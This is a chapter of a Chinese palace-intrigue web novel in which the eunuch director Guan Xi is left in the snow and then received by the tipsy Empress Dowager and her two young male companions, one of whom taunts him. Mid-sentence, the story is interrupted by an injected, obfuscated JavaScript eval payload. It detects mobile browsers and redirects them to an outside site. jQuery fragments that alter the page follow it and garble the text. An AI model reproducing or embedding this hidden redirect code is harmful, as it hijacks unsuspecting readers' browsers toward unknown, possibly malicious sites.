轿子停在永寿宫门前时，天色已暗透，雪沫在宫灯昏黄的光晕里打着旋，簌簌落下，给这座本就威严的宫殿披上了一层更加孤高清冷的寂寥。


    往常这个时候，值守宫门的太监远远看见这顶轿子和随行的双喜，早已满脸堆笑小跑上前，一边恭迎一边麻利打开宫门。可今日，紧闭的朱红宫门前，两个裹着厚实棉袍的太监垂手肃立，对停在阶下的轿子视若无睹。


    轿帘掀开，关禧踏着脚凳下来，玄色大氅的绒毛边沾上了细碎的雪粒。他站在轿前，望向那扇紧闭的宫门，以及门后隐隐透出属于永寿宫正殿的煌煌灯火。


    来了。他心中了然。这是下马威。太后在用这种方式告诉他：他的位置，他的荣宠，乃至他踏进这道门的资格，都来源于她的恩赐。他可以病几天，但她也可以让他连门都进不去。


    他抬步，靴底踩在清扫过又覆上新雪的台阶上，发出“咯吱”声。一直走到宫门前，那两个值守太监才仿佛刚看见他似的，齐齐躬身。


    “关掌印万安。”其中一个年纪稍长的太监开口道，声音在寒夜里有些发飘，“这么晚了，雪又大，您怎么过来了？可是有急事要禀报太后娘娘？”


    明知故问。关禧唇角弯了一下，那弧度冰冷：“本督特来向太后娘娘请安，并谢娘娘赐药隆恩。劳烦通传。”


    那太监脸上露出恰到好处的为难：“哎哟，掌印，这……不是奴才们不尽心，只是时辰确实晚了，娘娘凤体为重，怕是早已安歇了。再者，宫门已下钥，按规矩……”


    “规矩是死的，人是活的。”关禧打断他，“况且，太后娘娘遣人赐药，关怀备至，本督理当面谢。娘娘若真已安歇，本督便在门外候着，等娘娘方便时再行禀见。烦请公公，进去通传一声。”


    他的目光落在那太监脸上，很平静，却让那太监心头一凛，下意识避开了视线。眼前这位是司礼监掌印，是内缉事厂提督。太后娘娘或许可以晾着他，但他们这些底下人，哪里真敢把他得罪死了？


    “这……掌印稍候，奴才这就进去问问江嬷嬷。”那太监不敢再推诿，对同伴使了个眼色，自己转身，推开一道门缝，侧身溜了进去。


    宫门重新合拢。


    关禧站在原地。北风卷着雪粒子，扑打在他身上，脸上，大氅很快便落了一层薄白。双喜想上前给他撑伞，被他一个眼神制止了。他身后，四名番役一动不动。一时间，永寿宫门前只剩下风雪的呼啸。


    时间在寒冷与寂静中被拉长。


    一盏茶，一炷香……宫门内杳无音信。


    不知过了多久，久到双喜的脚都冻得有些发麻，牙齿开始不受控制打颤时，那扇宫门，才终于“吱呀”一声，被拉开了一条缝隙。


    江嬷嬷的身影出现在门后。她穿着深褐色绣福字纹的锦缎棉袄，外头罩着同色的出锋比甲，她先扫了一眼门外雪地里站着的关禧，目光在他肩头的落雪和略显苍白的脸上停留了一瞬，这才慢条斯理地开口：


    “关掌印，久等了。太后娘娘听闻您抱恙，心中挂念，只是今夜娘娘另有要事，本不便打扰。但念在掌印一片孝心，雪夜前来，娘娘还是允了。请随老奴来吧。”


    她侧身让开道路。


    关禧颔首：“有劳江嬷嬷。”他举步，跨过高高的门槛，踏入永寿宫廊庑之下。


    双喜和番役被留在门外。


    随着宫门在身后再次合拢，外界的风雪与寒气被彻底隔绝。廊下灯火通明，暖意融融，空气里浮动着熟悉的龙涎香气，却比往日更浓郁几分，还混杂着一丝若有若无的酒香，以及另一种属于年轻男子的熏香气息。


    江嬷嬷在前引路，脚步不疾不徐。穿过前殿，走向寝宫方向的路上，她忽然开口，声音不高，恰好能让身后的关禧听清：


    “掌印这几日病着，倒是清净。只是这宫里宫外，盯着您这位子的人，可从未歇过心思。娘娘能给的，自然也能收回。您年纪轻，得娘娘青眼，是福分，但也该知道惜福、感恩。恃宠而骄……在这宫里，可是大忌。多少人挤破了头，想往娘娘跟前凑，想为娘娘分忧解难，娘娘身边，从来不缺伶俐懂事、知情识趣的人。”


    她话里的敲打之意，再明显不过。既点明了他此次称病的莽撞和可能引发的猜忌，也暗示着，太后身边的位置，无论是权力位置，还是床榻之侧的位置，并非非他不可。


    关禧跟在后面半步之遥，垂着眼，长长的睫毛在眼下投出浅浅的阴影，遮住了眸中所有情绪，“嬷嬷教训的是。我年轻识浅，前几日确实身子不争气，又恐过了病气给娘娘，这才斗胆静养了几日。心中实在惶恐，今日特来向娘娘请罪谢恩。奴才的一切，皆是娘娘所赐，从不敢有丝毫忘本骄矜之心。”


    江嬷嬷听了，脚步一顿，侧头瞥了他一眼，见他姿态放得极低，神色诚恳，倒也挑不出什么错处，便又转回头去，轻哼了一声。


    两人继续前行，越靠近寝殿区域，那酒香和甜腻的熏香气便越发清晰，还隐约传来丝竹管弦之声，以及男子低低的说笑声，虽然隔着重重殿宇帷幕，听不真切，但足以打破永寿宫往日夜晚的肃穆寂静。


    走到寝殿院落外的月亮门处，江嬷嬷停了下来。她转过身，面对着关禧，脸上那种程式化的表情终于有了一丝裂痕，眼神复杂。


    “掌印，娘娘就在里头。不过今夜娘娘兴致颇高，召了两位从宫外请来的清客，陪着说话解闷，饮了几杯酒。这会儿，正乐着呢。”


    她刻意停顿了一下，观察着关禧的反应。清客？从宫外召来的男子？以太后的身份和手段，这自然不算什么大事。但在这个时间，以这种方式，在他被晾在雪地里许久后才准进入的时候，特意告诉他这些……


    关禧的脸上没什么表情，“多谢嬷嬷提点。”


    见他如此平静，没有流露出一丝惊讶或异样，江嬷嬷眼底掠过一丝失望，又似乎松了一口气，叹道：“你是个聪明人，多余的话，老奴也不说了。进去吧，仔细着回话。”


    说完，她率先转身，引着他走进了那扇挂着锦帘的月亮门。


    寝殿院落内温暖如春，几盏琉璃宫灯将雪景映照得如白昼，空气中浮动的暖香，酒香，脂粉香混杂在一起，形成一种暧昧的氛围。正殿门窗紧闭，但明亮的灯光和隐约的乐曲声，笑语声正从里面透出来。


    江嬷嬷走到殿门前，叩了叩，然后提高声音道：“娘娘，关掌印来了。”


    里面的丝竹声停顿了一瞬，接着，一个慵懒中带着几分微醺笑意的女声响起：“哦？让他进来吧。”


    江嬷嬷推开殿门，暖热的气息混杂着更浓郁的香气扑面而来。她对关禧做了个“请”的手势，自己则退到了一旁。


    关禧定了定神，抬步，跨入了这间他熟悉的寝殿。


    殿内的景象。


    与他上次深夜闯入时的寂静庄严，或是平时白日觐见时的雍容华贵都截然不同。此刻的寝殿，更像一个精心布置极尽奢靡的欢宴场所。


    地上铺着的厚密波斯地毯上，随意散落着几个锦绣软垫和引枕。紫檀木圆桌上，摆满了珍馐佳肴和精美的酒具，许多菜肴只动了几筷，酒壶却空了好几个。角落里的鎏金仙鹤香炉吞吐着香甜的烟雾，一旁还有乐师低眉敛目，吹奏着悠扬的笛曲。


    而最引人注目的，是坐在正中宽大贵妃榻上的郑书意，以及依偎在她身侧的两个年轻男子。


    郑书意今日穿着一身罕见的绯红色广袖留仙裙，衣料轻薄柔软，随着她的动作如水般流淌，裙裾上绣着大朵大朵用金线勾勒的曼陀罗花，在灯光下熠熠生辉。她乌发半绾，斜插着一支赤金点翠凤凰步摇，凤口衔下的流苏随着她的动作晃动。脸上薄施胭脂，眼尾用胭脂晕染上挑，衬得那双本就潋滟的杏眼更是媚意横生，顾盼间流光溢彩。她一手支着额角，另一只手握着一只白玉酒杯，脸颊泛着淡淡的红晕，显然已有了几分醉意。


    而靠在她身边的两个男子，看起来都不过十七八岁年纪，生得极为俊美，甚至可称阴柔。一人穿着月白色的直裰，气质清雅，眉眼温柔，正含着一抹浅笑，替郑书意剥着一颗水晶葡萄；另一人则穿着茜红色的锦袍，颜色竟与郑书意的裙裾有几分呼应，面容更为昳丽，眼波流转间自带风情，他一只手搭在郑书意膝头，另一只手执壶，正欲为她斟酒。


    这两个少年，无论是年纪容貌类型，乃至他们此刻依偎的姿态，眼中的仰慕与讨好都与曾经的小离子，与如今的关禧，有着某种相似性。他们是刻意寻来的替代品，是太后用来敲打他，提醒他并非不可取代的活生生的道具。


    关禧的脚步在门口停顿了一瞬，仅仅一瞬。他垂下眼帘，掩去眸中所有翻腾的情绪，快步走到殿中央，撩袍跪倒，以额触地：


    “奴才关禧，叩见太后娘娘。娘娘万福金安。”


    郑书意这才将目光从身侧少年奉上的葡萄上移开，投向下首跪伏在地的身影。她红唇微勾，眼波流转，晃了晃手中的酒杯。


    “哟，这不是咱们日理万机、病体初愈的关大掌印吗？”她的声音拖得长长的，带着笑，却没什么温度，“这么晚了，雪又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298476|192226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大，难为你还惦记着来给哀家请安。起来吧，别跪着了，仔细地上凉。”


    “谢娘娘。”关禧依言起身，垂着眼，姿态恭谨至极。


    郑书意抿了一口酒，目光在他身上逡巡，从挺拔的身姿，到低垂的眉眼，再到那身代表着内廷最高权柄的绯红坐蟒袍。她的视线，最终不经意般扫过了他颈侧，那里衣领整齐，看不出丝毫异样。


    “看着气色倒比前几日好些了。”她放下酒杯，任由那红衣少年又为她斟满，“周时安的药，看来还算对症。哀家赐你的那丹药，可用了？效果如何？”


    关禧躬身答道：“回娘娘，周院判医术高明，娘娘所赐灵丹更是神效。奴才服后，顿觉通体舒泰，精神健旺。奴才卑贱之躯，得娘娘如此垂怜厚赐，感激涕零，无以为报。”他将病愈和感恩的姿态做得十足。


    “嗯，知道感恩就好。”郑书意点点头，纤指点了点身旁的白衣少年，“这是清和，擅琴棋，性子最是温雅。”又指了指红衣少年，“这是绯羽，歌舞双绝，尤其一支胡旋，跳得极好。哀家近来闷得很，便召他们进来，陪着说说话，解解闷儿。你瞧着，如何？”


    她把问题抛给了关禧，语气随意得像是在品评两件新得的玩意儿。


    关禧抬起眼，目光掠过那两个少年姣好的面容，他们的年轻，他们的鲜嫩，他们眼中对太后毫不掩饰的讨好，像一面镜子，隐隐照出他自己某些不堪的侧面。他袖中的手指蜷缩，面上分毫不显，露出一丝恰到好处属于臣下对主上喜好的奉承笑意：


    “娘娘眼光自是极好的。两位公子钟灵毓秀，各有千秋，能得娘娘青眼，是他们的福分。有他们陪伴娘娘，为娘娘解颐，奴才也为娘娘高兴。”


    他回答得滴水不漏，恭顺无比，仿佛真心实意为太后寻得新乐而欣喜。


    郑书意盯着他看了几秒，忽然“噗嗤”一声笑了出来，笑声在暖香浮动的殿内回荡。


    “关禧啊关禧，”她斜倚在锦绣堆叠的贵妃榻上，绯红留仙裙的广袖滑落一截，露出一段欺霜赛雪的小臂，眼尾那抹特意晕染的胭脂红，在酒意氤氲下愈发潋滟生姿，目光却如浸了冰水的琉璃珠，在关禧身上打转，眼波横掠，“你这张嘴，真是越来越会说话了。”


    “嘴上说着高兴，心里头……指不定怎么编排哀家喜新厌旧呢。”她拖长了语调，指尖一松，那只别透的白玉酒杯便被身侧唤作绯羽的红衣少年接住，又殷勤斟满。


    清和则适时将剥好的一小碟水晶葡萄奉上，声音清润：“娘娘凤体尊贵，莫要为些许琐事费神。关掌印深明事理，自然懂得娘娘的苦心。”


    郑书意拈起一枚葡萄，却不急于入口，目光锁着垂手而立的关禧，唇角勾起一抹玩味的弧度：“哦？清和倒是会替他说话。那绯羽你呢？你瞧着咱们这位司礼监的关大掌印如何？”


    绯羽显然比清和更跳脱些，也或许是多饮了几杯御赐的琥珀光，眼波流转间带着初生牛犊不怕虎的放肆，他顺着郑书意的目光，大胆打量起关禧来。


    殿内烛火煌煌，映着关禧一身灼目的绯红坐蟒袍，金线绣出的狰狞蟒纹在光下似要活过来。他身姿挺拔如修竹静立，即便是垂首恭立的姿态，也自有一股历经杀伐沉淀下来的沉稳气度，与周遭奢靡浮艳的享乐氛围格格不人。那张脸更是夺目，即便低垂着眼，也能看清其妖异的轮廓，鼻梁挺直，唇线微抿，肤色在烛火与绯红衣袍映衬下，是一种缺乏血色的冷白，唯有眼尾那颗极淡的泪痣，平添了一丝难以言喻的风情。


    绯羽看得心头莫名一跳，既有同为玩物被比较的不服，也有一种面对更完美同类时，名为嫉妒的复杂情绪。酒意壮胆，他嫣红的嘴唇一撇，声音带着少年人特有的清脆，又刻意拖出一点黏腻的调子：


    “关掌印自然是极好的……这通身的气派，这容貌风度，莫说内廷，便是放眼整个京城，怕也寻不出几个能及的。”他先是恭维，随即话锋微妙一转，眼波斜飞，似无意般扫过他平坦的腰腹之下，掩唇轻笑，“只是呀……奴才在宫外时也曾听说书先生讲过，某朝有位极得宠的宦官，也是生得潘安宋玉之貌，权势滔天，可到底……终究不是个齐全的男人。行事作风，难免带些阴柔诡谲之气，与真正顶天立地、能骑马射箭、开疆拓土的伟男子，终究是……隔了一层呢。”


    他声音不高，吐字却清晰，尤其在齐全的男人，顶天立地，伟男子几个词上，不自觉加重了语气，再配上那意味深长的眼神和掩唇轻笑的动作，其中的嘲讽与挑衅，已如泌了密糖的毒针，明晃晃地刺了出来。